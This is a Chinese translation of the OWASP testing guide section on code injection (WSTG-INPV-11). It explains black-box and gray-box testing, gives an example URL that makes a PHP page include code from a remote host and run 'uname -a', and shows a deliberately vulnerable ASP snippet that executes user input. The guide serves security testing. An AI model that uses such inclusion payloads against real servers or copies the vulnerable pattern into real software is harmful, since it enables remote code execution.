代码注入测试
ID |
---|
WSTG-INPV-11 |
总结
本节描述了测试人员如何检查是否可以在 Web 页面上输入代码并让 Web 服务器执行它。
在代码注入 测试中,测试人员提交由 Web 服务器作为动态代码或包含文件处理的输入。这些测试可以针对各种服务器端脚本引擎,例如 ASP 或 PHP。需要采用适当的输入验证和安全编码实践来防范这些攻击。
测试目标
- 确定可以将代码注入应用程序的注入点。
- 评估注射的严重程度。
如何测试
黑盒测试
测试 PHP 注入漏洞
使用 querystring,测试人员可以注入代码(在本例中为恶意 URL),作为包含文件的一部分进行处理:
http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a
恶意 URL 被接受为 PHP 页面的参数,该页面稍后将使用包含文件中的值。
灰盒测试
测试 ASP 代码注入漏洞
检查 ASP 代码中是否有执行函数中使用的用户输入。用户是否可以在 Data input(数据输入)字段中输入命令?在这里,ASP 代码会将输入保存到文件中,然后执行它:
<%
If not isEmpty(Request( "Data" ) ) Then
Dim fso, f
'User input Data is written to a file named data.txt
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(Server.MapPath( "data.txt" ), 8, True)
f.Write Request("Data") & vbCrLf
f.close
Set f = nothing
Set fso = Nothing
'Data.txt is executed
Server.Execute( "data.txt" )
Else
%>
<form>
<input name="Data" /><input type="submit" name="Enter Data" />
</form>
<%
End If
%>)))